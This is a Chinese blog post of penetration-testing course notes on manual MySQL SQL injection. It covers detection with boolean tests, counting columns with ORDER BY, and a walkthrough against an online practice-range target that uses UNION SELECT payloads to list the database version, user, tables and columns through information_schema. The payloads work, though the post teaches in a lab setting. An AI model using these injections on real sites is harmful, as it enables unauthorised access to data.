第12天-Web漏洞——SQL注入之简易sql注入

IsecNoob

已于 2022-03-14 20:31:04 修改

阅读量1.2k

点赞数

分类专栏： 2020小迪安全—渗透测试学习笔记文章标签： sql 前端数据库

于 2022-01-19 18:20:35 首次发布

本文链接：https://blog.csdn.net/MCTSOG/article/details/122587026

版权

2020小迪安全—渗透测试学习笔记专栏收录该内容

78 篇文章 203 订阅

订阅专栏

SQL注入

SQL注入就是一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术

sql注入产生原因

接收数据拼接数据数据库执行结果展示— 四个步骤，过程中处理不当就可能会存在注入漏洞

sql注入漏洞，取决于过滤严谨与否，过滤严谨，基本不可能存在sql注入漏洞，反之，就可能存在！

SQL注入的危害

1.危害数据库里的数据

2.直接危害网站的权限

SQL 注入知识结构

在这里插入图片描述

mysql数据库注入

在这里插入图片描述

mysql数据库

数据库A=网站A=数据库用户A
表名——> 列名 ——> 数据(目标)

数据库B=网站B=数据库用户B

…

数据库C=网站C=数据库用户C

…

如何判定是否存在注入点？

老办法：

and 1=1 页面正常

and 1=2 页面异常

原理：

SELECT * FROM users WHERE id=1 LIMIT 0,1

SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常

SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误

逻辑运算（与或非）

真且真 = 真

真且假 = 假

真或假 = 真

SELECT * FROM users WHERE id=1 真

and（且） 1=1 真 =真

and（且） 1=2 假 =假

不要局限于此

SELECT * FROM users WHERE id=1xxxx(随意、怎么舒服怎么来！) LIMIT 0,1

随意输入内容后

对网页有影响说明带入数据库进行查询有注入点。

对网页没有影响说明没有带入数据库查询

出现404（或者其他、如：跳转主页）说明对输入进行检测基本没有sql漏洞

猜测列名数量（字段数）

order by x(数字-不断尝试）

正常值网页正常显示

错误值错误网页报错

信息收集：

数据库版本：version（）

数据库名字：database（）

数据库用户：user（）

操作系统： @@version_compile_os

视频中出现的题目

1.可能存在注入的编号选项有哪几个？
1-www.xiaodi8.com/index.php?id=8
2-www.xiaodi8.com/?id=10
3-www.xiaodi8.com/?id=10&x=1
4-www.xiaodi8.com/index.php(post注入)

答案：1234

2.参数有x注入，以下哪个注入测试正确
A.www.xiaodi8.com/new/php?y=1 and 1=1&x=2
B.www.xiaodi8.com/new/php?y=1&x=2 and 1=1
C.www.xiaodi8.com/new/php?y=1 and 1=1 & x=2 and 1=1
D.www.xiaodi8.com/new/php?xx=1 and 1=1&xxx=2 and 1=1

答案：BC

墨者靶机真实 MYSQL 注入实现

SQL手工注入漏洞测试(MySQL数据库)SQL注入_在线靶场

？id=1 and 1=1 显示正常

在这里插入图片描述

？id=1 and 1=2 显示异常
在这里插入图片描述

判断存在注入点

order by x 尝试判断列名数

order by 6

在这里插入图片描述

order by 5 显示同6

order by 4 有显示变化

在这里插入图片描述

id=-1 union select 1,2,3,4

在这里插入图片描述

发现回显点应该在3上

id=-1 union select 1,2,version（）,4

在这里插入图片描述

id=-1 union select 1,2,database（）,4

在这里插入图片描述

id=-1 union select 1,2,user（）,4

在这里插入图片描述

id=-1 union select 1,2,@@version_compile_os,4

在这里插入图片描述

信息收集：

数据库版本：version（） 5.7.22-0ubuntu0.16.04.1

数据库名字：database（） mozhe_Discuz_StormGroup

数据库用户：user（） root@localhost

操作系统：@@version_compile_os Linux

已知数据库名 mozhe_Discuz_StormGroup

下一步，查看表名

219.153.49.228:46695/new_list.php?id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=%27mozhe_Discuz_StormGroup%27

在这里插入图片描述

得到表名：StormGroup_member,notice

http://219.153.49.228:46695/new_list.php?id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=‘StormGroup_member’

在这里插入图片描述